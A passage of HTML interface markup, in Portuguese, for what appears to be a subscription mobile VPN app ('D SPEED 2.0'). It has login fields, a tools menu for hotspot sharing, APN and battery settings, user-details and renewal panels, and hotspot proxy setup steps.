.708l-1.5 1.5a.5.5 0 0 1-.708 0L13 9.207l-.646.647a.5.5 0 0 1-.708 0L11 9.207l-.646.647a.5.5 0 0 1-.708 0L9 9.207l-.646.647A.5.5 0 0 1 8 10h-.535A4 4 0 0 1 0 8zm4-3a3 3 0 1 0 2.712 4.285A.5.5 0 0 1 7.163 9h.63l.853-.854a.5.5 0 0 1 .708 0l.646.647.646-.647a.5.5 0 0 1 .708 0l.646.647.646-.647a.5.5 0 0 1 .708 0l.646.647.793-.793-1-1h-6.63a.5.5 0 0 1-.451-.285A3 3 0 0 0 4 5z\" />\n <path d=\"M4 8a1 1 0 1 1-2 0 1 1 0 0 1 2 0z\" />\n </svg>\n\n <input id=\"password\" type=\"text\" name=\"password\" placeholder=\"Senha\" value=\"aguia\"/>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\"\n class=\"bi bi-eye-slash hidden\" id=\"eye-not-view\" viewBox=\"0 0 16 16\">\n <path\n d=\"M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z\" />\n <path\n d=\"M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z\" />\n <path\n d=\"M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z\" />\n </svg>\n\n </div>\n\n <label for=\"uuiddiv\" class=\"hidden\">UUID</label>\n\n <div id=\"uuiddiv\" class=\"hidden\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-fingerprint\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M8.06 6.5a.5.5 0 0 1 .5.5v.776a11.5 11.5 0 0 1-.552 3.519l-1.331 4.14a.5.5 0 0 1-.952-.305l1.33-4.141a10.5 10.5 0 0 0 .504-3.213V7a.5.5 0 0 1 .5-.5Z\" />\n <path\n d=\"M6.06 7a2 2 0 1 1 4 0 .5.5 0 1 1-1 0 1 1 0 1 0-2 0v.332c0 .409-.022.816-.066 1.221A.5.5 0 0 1 6 8.447c.04-.37.06-.742.06-1.115V7Zm3.509 1a.5.5 0 0 1 .487.513 11.5 11.5 0 0 1-.587 3.339l-1.266 3.8a.5.5 0 0 1-.949-.317l1.267-3.8a10.5 10.5 0 0 0 .535-3.048A.5.5 0 0 1 9.569 8Zm-3.356 2.115a.5.5 0 0 1 .33.626L5.24 14.939a.5.5 0 1 1-.955-.296l1.303-4.199a.5.5 0 0 1 .625-.329Z\" />\n <path\n d=\"M4.759 5.833A3.501 3.501 0 0 1 11.559 7a.5.5 0 0 1-1 0 2.5 2.5 0 0 0-4.857-.833.5.5 0 1 1-.943-.334Zm.3 1.67a.5.5 0 0 1 .449.546 10.72 10.72 0 0 1-.4 2.031l-1.222 4.072a.5.5 0 1 1-.958-.287L4.15 9.793a9.72 9.72 0 0 0 .363-1.842.5.5 0 0 1 .546-.449Zm6 .647a.5.5 0 0 1 .5.5c0 1.28-.213 2.552-.632 3.762l-1.09 3.145a.5.5 0 0 1-.944-.327l1.089-3.145c.382-1.105.578-2.266.578-3.435a.5.5 0 0 1 .5-.5Z\" />\n <path\n d=\"M3.902 4.222a4.996 4.996 0 0 1 5.202-2.113.5.5 0 0 1-.208.979 3.996 3.996 0 0 0-4.163 1.69.5.5 0 0 1-.831-.556Zm6.72-.955a.5.5 0 0 1 .705-.052A4.99 4.99 0 0 1 13.059 7v1.5a.5.5 0 1 1-1 0V7a3.99 3.99 0 0 0-1.386-3.028.5.5 0 0 1-.051-.705ZM3.68 5.842a.5.5 0 0 1 .422.568c-.029.192-.044.39-.044.59 0 .71-.1 1.417-.298 2.1l-1.14 3.923a.5.5 0 1 1-.96-.279L2.8 8.821A6.531 6.531 0 0 0 3.058 7c0-.25.019-.496.054-.736a.5.5 0 0 1 .568-.422Zm8.882 3.66a.5.5 0 0 1 .456.54c-.084 1-.298 1.986-.64 2.934l-.744 2.068a.5.5 0 0 1-.941-.338l.745-2.07a10.51 10.51 0 0 0 .584-2.678.5.5 0 0 1 .54-.456Z\" />\n <path\n d=\"M4.81 1.37A6.5 6.5 0 0 1 14.56 7a.5.5 0 1 1-1 0 5.5 5.5 0 0 0-8.25-4.765.5.5 0 0 1-.5-.865Zm-.89 1.257a.5.5 0 0 1 .04.706A5.478 5.478 0 0 0 2.56 7a.5.5 0 0 1-1 0c0-1.664.626-3.184 1.655-4.333a.5.5 0 0 1 .706-.04ZM1.915 8.02a.5.5 0 0 1 .346.616l-.779 2.767a.5.5 0 1 1-.962-.27l.778-2.767a.5.5 0 0 1 .617-.346Zm12.15.481a.5.5 0 0 1 .49.51c-.03 1.499-.161 3.025-.727 4.533l-.07.187a.5.5 0 0 1-.936-.351l.07-.187c.506-1.35.634-2.74.663-4.202a.5.5 0 0 1 .51-.49Z\" />\n </svg>\n\n <input id=\"uuid\" type=\"text\" placeholder=\"UUID\" />\n </div>\n\n <button id=\"save-creds\" type=\"button\" title=\"Salvar informações de usuario e senha\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-save\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M2 1a1 1 0 0 0-1 1v12a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1H9.5a1 1 0 0 0-1 1v7.293l2.646-2.647a.5.5 0 0 1 .708.708l-3.5 3.5a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L7.5 9.293V2a2 2 0 0 1 2-2H14a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V2a2 2 0 0 1 2-2h2.5a.5.5 0 0 1 0 1H2z\" />\n </svg>\n\n <span>Salvar credenciais</span>\n </button>\n </fieldset>\n </form>\n </section>\n\n <section class=\"container-tools\">\n <header>\n <svg id=\"back-tools-container\" xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\"\n class=\"bi bi-arrow-return-left\" viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M14.5 1.5a.5.5 0 0 1 .5.5v4.8a2.5 2.5 0 0 1-2.5 2.5H2.707l3.347 3.346a.5.5 0 0 1-.708.708l-4.2-4.2a.5.5 0 0 1 0-.708l4-4a.5.5 0 1 1 .708.708L2.707 8.3H12.5A1.5 1.5 0 0 0 14 6.8V2a.5.5 0 0 1 .5-.5z\" />\n </svg>\n\n <h1>FERRAMENTAS</h1>\n </header>\n\n <section>\n <button type=\"button\" id=\"speedtest-tool\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-film\" viewBox=\"0 0 16 16\">\n <path d=\"M0 1a1 1 0 0 1 1-1h14a1 1 0 0 1 1 1v14a1 1 0 0 1-1 1H1a1 1 0 0 1-1-1V1zm4 0v6h8V1H4zm8 8H4v6h8V9zM1 1v2h2V1H1zm2 3H1v2h2V4zM1 7v2h2V7H1zm2 3H1v2h2v-2zm-2 3v2h2v-2H1zM15 1h-2v2h2V1zm-2 3v2h2V4h-2zm2 3h-2v2h2V7zm-2 3v2h2v-2h-2zm2 3h-2v2h2v-2z\"/>\n</svg>\n\n <div>\n <h3>FILMES E SÉRIES</h3>\n <p>ASSISTA AOS MELHORES FILMES E SÉRIES</p>\n </div>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-chevron-right\"\n viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z\" />\n </svg>\n </button>\n\n <button type=\"button\" id=\"filmes__button\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-activity\"\n viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M6 2a.5.5 0 0 1 .47.33L10 12.036l1.53-4.208A.5.5 0 0 1 12 7.5h3.5a.5.5 0 0 1 0 1h-3.15l-1.88 5.17a.5.5 0 0 1-.94 0L6 3.964 4.47 8.171A.5.5 0 0 1 4 8.5H.5a.5.5 0 0 1 0-1h3.15l1.88-5.17A.5.5 0 0 1 6 2Z\" />\n </svg>\n\n <div>\n <h3>SPEEDTEST</h3>\n <p>Teste a velocidade da sua conexão</p>\n </div>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-chevron-right\"\n viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z\" />\n </svg>\n </button>\n\n <button type=\"button\" id=\"hotspot-button-tools\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-broadcast\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M3.05 3.05a7 7 0 0 0 0 9.9.5.5 0 0 1-.707.707 8 8 0 0 1 0-11.314.5.5 0 0 1 .707.707zm2.122 2.122a4 4 0 0 0 0 5.656.5.5 0 1 1-.708.708 5 5 0 0 1 0-7.072.5.5 0 0 1 .708.708zm5.656-.708a.5.5 0 0 1 .708 0 5 5 0 0 1 0 7.072.5.5 0 1 1-.708-.708 4 4 0 0 0 0-5.656.5.5 0 0 1 0-.708zm2.122-2.12a.5.5 0 0 1 .707 0 8 8 0 0 1 0 11.313.5.5 0 0 1-.707-.707 7 7 0 0 0 0-9.9.5.5 0 0 1 0-.707zM10 8a2 2 0 1 1-4 0 2 2 0 0 1 4 0z\" />\n </svg>\n\n <div>\n <h3>HOTSPOT</h3>\n <p>\n Aqui você pode compartilhar sua conexão VPN usando o roteador do\n seu celular.\n </p>\n </div>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-chevron-right\"\n viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z\" />\n </svg>\n </button>\n\n <button type=\"button\" id=\"apn-tool\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-broadcast-pin\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M3.05 3.05a7 7 0 0 0 0 9.9.5.5 0 0 1-.707.707 8 8 0 0 1 0-11.314.5.5 0 0 1 .707.707zm2.122 2.122a4 4 0 0 0 0 5.656.5.5 0 1 1-.708.708 5 5 0 0 1 0-7.072.5.5 0 0 1 .708.708zm5.656-.708a.5.5 0 0 1 .708 0 5 5 0 0 1 0 7.072.5.5 0 1 1-.708-.708 4 4 0 0 0 0-5.656.5.5 0 0 1 0-.708zm2.122-2.12a.5.5 0 0 1 .707 0 8 8 0 0 1 0 11.313.5.5 0 0 1-.707-.707 7 7 0 0 0 0-9.9.5.5 0 0 1 0-.707zM6 8a2 2 0 1 1 2.5 1.937V15.5a.5.5 0 0 1-1 0V9.937A2 2 0 0 1 6 8z\" />\n </svg>\n\n <div>\n <h3>CONFIGURAR APN</h3>\n <p>Aqui você pode fazer ajustes no APN</p>\n </div>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-chevron-right\"\n viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z\" />\n </svg>\n </button>\n\n <button type=\"button\" id=\"battery-tool\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\"\n class=\"bi bi-battery-charging\" viewBox=\"0 0 16 16\">\n <path\n d=\"M9.585 2.568a.5.5 0 0 1 .226.58L8.677 6.832h1.99a.5.5 0 0 1 .364.843l-5.334 5.667a.5.5 0 0 1-.842-.49L5.99 9.167H4a.5.5 0 0 1-.364-.843l5.333-5.667a.5.5 0 0 1 .616-.09z\" />\n <path d=\"M2 4h4.332l-.94 1H2a1 1 0 0 0-1 1v4a1 1 0 0 0 1 1h2.38l-.308 1H2a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2z\" />\n <path\n d=\"M2 6h2.45L2.908 7.639A1.5 1.5 0 0 0 3.313 10H2V6zm8.595-2-.308 1H12a1 1 0 0 1 1 1v4a1 1 0 0 1-1 1H9.276l-.942 1H12a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2h-1.405z\" />\n <path\n d=\"M12 10h-1.783l1.542-1.639c.097-.103.178-.218.241-.34V10zm0-3.354V6h-.646a1.5 1.5 0 0 1 .646.646zM16 8a1.5 1.5 0 0 1-1.5 1.5v-3A1.5 1.5 0 0 1 16 8z\" />\n </svg>\n\n <div>\n <h3>OTIMIZAÇÃO DE BATERIA</h3>\n <p>\n Aqui você consegue desativar a otimização de bateria que acaba\n encerrando o aplicativo sem a sua permissão!\n </p>\n </div>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-chevron-right\"\n viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z\" />\n </svg>\n </button>\n\n \n\n <button type=\"button\" id=\"button-open-clear-data-app\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-trash\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M5.5 5.5A.5.5 0 0 1 6 6v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5Zm2.5 0a.5.5 0 0 1 .5.5v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5Zm3 .5a.5.5 0 0 0-1 0v6a.5.5 0 0 0 1 0V6Z\" />\n <path\n d=\"M14.5 3a1 1 0 0 1-1 1H13v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V4h-.5a1 1 0 0 1-1-1V2a1 1 0 0 1 1-1H6a1 1 0 0 1 1-1h2a1 1 0 0 1 1 1h3.5a1 1 0 0 1 1 1v1ZM4.118 4 4 4.059V13a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V4.059L11.882 4H4.118ZM2.5 3h11V2h-11v1Z\" />\n </svg>\n\n <div>\n <h3>LIMPAR DADOS</h3>\n <p>\n Aqui você pode fazer a limpeza do cache e dados do aplicativo.\n </p>\n </div>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-chevron-right\"\n viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z\" />\n </svg>\n </button>\n\n <button type=\"button\" id=\"button-open-terms-app\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\"\n class=\"bi bi-journal-medical\" viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M8 4a.5.5 0 0 1 .5.5v.634l.549-.317a.5.5 0 1 1 .5.866L9 6l.549.317a.5.5 0 1 1-.5.866L8.5 6.866V7.5a.5.5 0 0 1-1 0v-.634l-.549.317a.5.5 0 1 1-.5-.866L7 6l-.549-.317a.5.5 0 0 1 .5-.866l.549.317V4.5A.5.5 0 0 1 8 4zM5 9.5a.5.5 0 0 1 .5-.5h5a.5.5 0 0 1 0 1h-5a.5.5 0 0 1-.5-.5zm0 2a.5.5 0 0 1 .5-.5h5a.5.5 0 0 1 0 1h-5a.5.5 0 0 1-.5-.5z\" />\n <path\n d=\"M3 0h10a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H3a2 2 0 0 1-2-2v-1h1v1a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1H3a1 1 0 0 0-1 1v1H1V2a2 2 0 0 1 2-2z\" />\n <path\n d=\"M1 5v-.5a.5.5 0 0 1 1 0V5h.5a.5.5 0 0 1 0 1h-2a.5.5 0 0 1 0-1H1zm0 3v-.5a.5.5 0 0 1 1 0V8h.5a.5.5 0 0 1 0 1h-2a.5.5 0 0 1 0-1H1zm0 3v-.5a.5.5 0 0 1 1 0v.5h.5a.5.5 0 0 1 0 1h-2a.5.5 0 0 1 0-1H1z\" />\n </svg>\n\n <div>\n <h3>TERMOS DE USO</h3>\n <p>\n Aqui você consegue ler os termos de uso e licença do aplicativo.\n </p>\n </div>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-chevron-right\"\n viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z\" />\n </svg>\n </button>\n </section>\n </section>\n\n <section class=\"logs-container\">\n <section>\n <header>\n <h1>REGISTRO</h1>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-x-lg\"\n id=\"register-logs-close\" viewBox=\"0 0 16 16\">\n <path\n d=\"M2.146 2.854a.5.5 0 1 1 .708-.708L8 7.293l5.146-5.147a.5.5 0 0 1 .708.708L8.707 8l5.147 5.146a.5.5 0 0 1-.708.708L8 8.707l-5.146 5.147a.5.5 0 0 1-.708-.708L7.293 8 2.146 2.854Z\" />\n </svg>\n </header>\n\n <section>\n <p></p>\n </section>\n\n <button type=\"button\" id=\"clear-logs\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-trash\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M5.5 5.5A.5.5 0 0 1 6 6v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5Zm2.5 0a.5.5 0 0 1 .5.5v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5Zm3 .5a.5.5 0 0 0-1 0v6a.5.5 0 0 0 1 0V6Z\" />\n <path\n d=\"M14.5 3a1 1 0 0 1-1 1H13v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V4h-.5a1 1 0 0 1-1-1V2a1 1 0 0 1 1-1H6a1 1 0 0 1 1-1h2a1 1 0 0 1 1 1h3.5a1 1 0 0 1 1 1v1ZM4.118 4 4 4.059V13a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V4.059L11.882 4H4.118ZM2.5 3h11V2h-11v1Z\" />\n </svg>\n\n <span>LIMPAR REGISTRO</span>\n </button>\n </section>\n </section>\n\n <section class=\"loading\">\n <section>\n <header>\n <h1>CARREGANDO INFORMAÇÕES</h1>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-x-lg\"\n id=\"loading-container-close\" viewBox=\"0 0 16 16\">\n <path\n d=\"M2.146 2.854a.5.5 0 1 1 .708-.708L8 7.293l5.146-5.147a.5.5 0 0 1 .708.708L8.707 8l5.147 5.146a.5.5 0 0 1-.708.708L8 8.707l-5.146 5.147a.5.5 0 0 1-.708-.708L7.293 8 2.146 2.854Z\" />\n </svg>\n </header>\n\n <div class=\"loading\"></div>\n </section>\n </section>\n\n <section class=\"checkuser\">\n <section>\n <header>\n <h1>DETALHES DO USUÁRIO</h1>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-x-lg\"\n id=\"checkuser-close\" viewBox=\"0 0 16 16\">\n <path\n d=\"M2.146 2.854a.5.5 0 1 1 .708-.708L8 7.293l5.146-5.147a.5.5 0 0 1 .708.708L8.707 8l5.147 5.146a.5.5 0 0 1-.708.708L8 8.707l-5.146 5.147a.5.5 0 0 1-.708-.708L7.293 8 2.146 2.854Z\" />\n </svg>\n </header>\n\n <section>\n <div>\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-person-fill\"\n viewBox=\"0 0 16 16\">\n <path d=\"M3 14s-1 0-1-1 1-4 6-4 6 3 6 4-1 1-1 1H3Zm5-6a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z\" />\n </svg>\n\n <span id=\"checkuser-name\">USUÁRIO: ALEX</span>\n </div>\n\n <div>\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\"\n class=\"bi bi-calendar-fill\" viewBox=\"0 0 16 16\">\n <path\n d=\"M3.5 0a.5.5 0 0 1 .5.5V1h8V.5a.5.5 0 0 1 1 0V1h1a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V5h16V4H0V3a2 2 0 0 1 2-2h1V.5a.5.5 0 0 1 .5-.5z\" />\n </svg>\n\n <span id=\"checkuser-expires\">EXPIRA EM: 25/09/2023</span>\n </div>\n\n <div>\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-clock-fill\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zM8 3.5a.5.5 0 0 0-1 0V9a.5.5 0 0 0 .252.434l3.5 2a.5.5 0 0 0 .496-.868L8 8.71V3.5z\" />\n </svg>\n\n <span id=\"checkuser-remaing-days\">RESTA: 30 DIAS</span>\n </div>\n\n <div>\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-phone-fill\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M3 2a2 2 0 0 1 2-2h6a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V2zm6 11a1 1 0 1 0-2 0 1 1 0 0 0 2 0z\" />\n </svg>\n\n <span id=\"checkuser-total-conection\">CONEXÕES: 1/10</span>\n </div>\n </section>\n </section>\n </section>\n\n <section class=\"renew-alert\">\n <section>\n <header>\n <h1>RENOVE SEU ACESSO</h1>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-x-lg\"\n id=\"renew-alert-close\" viewBox=\"0 0 16 16\">\n <path\n d=\"M2.146 2.854a.5.5 0 1 1 .708-.708L8 7.293l5.146-5.147a.5.5 0 0 1 .708.708L8.707 8l5.147 5.146a.5.5 0 0 1-.708.708L8 8.707l-5.146 5.147a.5.5 0 0 1-.708-.708L7.293 8 2.146 2.854Z\" />\n </svg>\n </header>\n\n <section>\n <p>\n <bold id=\"renew-username\">Caro usuário</bold>\n <br /><br />\n\n <italic>Seu período de acesso está chegando ao fim! Para continuar utilizando nossos serviços, entre em\n contato para fazer a renovação por apenas 15 reais mensal.</italic>\n <br /><br />\n\n Atenciosamente, <bold>D SPEED 2.0</bold>\n </p>\n </section>\n </section>\n </section>\n\n <section class=\"clean-data-app\">\n <section>\n <header>\n <h1>DESEJA CONFIRMAR ESSA AÇÃO ?</h1>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-x-lg\"\n id=\"hidden-clear-data-app\" viewBox=\"0 0 16 16\">\n <path\n d=\"M2.146 2.854a.5.5 0 1 1 .708-.708L8 7.293l5.146-5.147a.5.5 0 0 1 .708.708L8.707 8l5.147 5.146a.5.5 0 0 1-.708.708L8 8.707l-5.146 5.147a.5.5 0 0 1-.708-.708L7.293 8 2.146 2.854Z\" />\n </svg>\n </header>\n\n <section>\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\"\n class=\"bi bi-exclamation-lg\" viewBox=\"0 0 16 16\">\n <path\n d=\"M7.005 3.1a1 1 0 1 1 1.99 0l-.388 6.35a.61.61 0 0 1-1.214 0L7.005 3.1ZM7 12a1 1 0 1 1 2 0 1 1 0 0 1-2 0Z\" />\n </svg>\n\n <h1>TEM CERTEZA DA AÇÃO ?</h1>\n\n <p>\n Ao efetuar a ação de limpar os dados do aplicativo, será possível\n carregar somente as configurações mais recentes mediante uma\n conexão ativa com a internet.\n </p>\n\n <button type=\"button\" id=\"confirm-clean-data-app\">\n <span>CONFIRMAR</span>\n </button>\n </section>\n </section>\n </section>\n\n <section class=\"hotspot-container\">\n <section>\n <header>\n <h1>ROTEADOR WIFI - HOTSPOT</h1>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-x-lg\"\n id=\"hidden-hotspot-container\" viewBox=\"0 0 16 16\">\n <path\n d=\"M2.146 2.854a.5.5 0 1 1 .708-.708L8 7.293l5.146-5.147a.5.5 0 0 1 .708.708L8.707 8l5.147 5.146a.5.5 0 0 1-.708.708L8 8.707l-5.146 5.147a.5.5 0 0 1-.708-.708L7.293 8 2.146 2.854Z\" />\n </svg>\n </header>\n\n <section>\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-router-fill\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M5.525 3.025a3.5 3.5 0 0 1 4.95 0 .5.5 0 1 0 .707-.707 4.5 4.5 0 0 0-6.364 0 .5.5 0 0 0 .707.707Z\" />\n <path d=\"M6.94 4.44a1.5 1.5 0 0 1 2.12 0 .5.5 0 0 0 .708-.708 2.5 2.5 0 0 0-3.536 0 .5.5 0 0 0 .707.707Z\" />\n <path\n d=\"M2.974 2.342a.5.5 0 1 0-.948.316L3.806 8H1.5A1.5 1.5 0 0 0 0 9.5v2A1.5 1.5 0 0 0 1.5 13H2a.5.5 0 0 0 .5.5h2A.5.5 0 0 0 5 13h6a.5.5 0 0 0 .5.5h2a.5.5 0 0 0 .5-.5h.5a1.5 1.5 0 0 0 1.5-1.5v-2A1.5 1.5 0 0 0 14.5 8h-2.306l1.78-5.342a.5.5 0 1 0-.948-.316L11.14 8H4.86L2.974 2.342ZM2.5 11a.5.5 0 1 1 0-1 .5.5 0 0 1 0 1Zm4.5-.5a.5.5 0 1 1 1 0 .5.5 0 0 1-1 0Zm2.5.5a.5.5 0 1 1 0-1 .5.5 0 0 1 0 1Zm1.5-.5a.5.5 0 1 1 1 0 .5.5 0 0 1-1 0Zm2 0a.5.5 0 1 1 1 0 .5.5 0 0 1-1 0Z\" />\n <path d=\"M8.5 5.5a.5.5 0 1 1-1 0 .5.5 0 0 1 1 0Z\" />\n </svg>\n\n <h1 id=\"title-hotspot\">ROTEAMENTO DESLIGADO</h1>\n\n <p>\n Ao ativar o hotspot com compartilhamento de VPN do seu celular, um\n IP local é gerado no seu dispositivo. Este IP é usado como proxy\n no dispositivo conectado à sua rede Wi-Fi.\n <br />\n <br />\n\n <b>SIGA ESTES PASSOS IMPORTANTES</b>\n\n <br />\n <br />\n 1 - Ligue o roteador do celular primeiro.\n <br /><br />\n 2 - Ative o compartilhamento de VPN.\n <br /><br />\n 3 - Use o botão para controlar o roteador.\n <br /><br />\n 4 - Encontre o segundo IP na barra de notificações.\n <br /><br />\n 5 - Copie o segundo IP e use como proxy no dispositivo conectado à\n rede.\n <br />\n <br />\n\n Lembre-se: O segundo IP é seu proxy. Isso garantirá o correto\n funcionamento do compartilhamento de VPN via hotspot do celular.\n </p>\n\n <button type=\"button\" id=\"enable-hotspot\">\n <span id=\"value-button-hotspot\">LIGAR HOTSPOT</span>\n </button>\n </section>\n </section>\n </section>\n\n <section class=\"terms-container\">\n <section>\n <header>\n <h1>TERMOS DE USO</h1>\n\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-x-lg\"\n id=\"hidden-terms-container\" viewBox=\"0 0 16 16\">\n <path\n d=\"M2.146 2.854a.5.5 0 1 1 .708-.708L8 7.293l5.146-5.147a.5.5 0 0 1 .708.708L8.707 8l5.147 5.146a.5.5 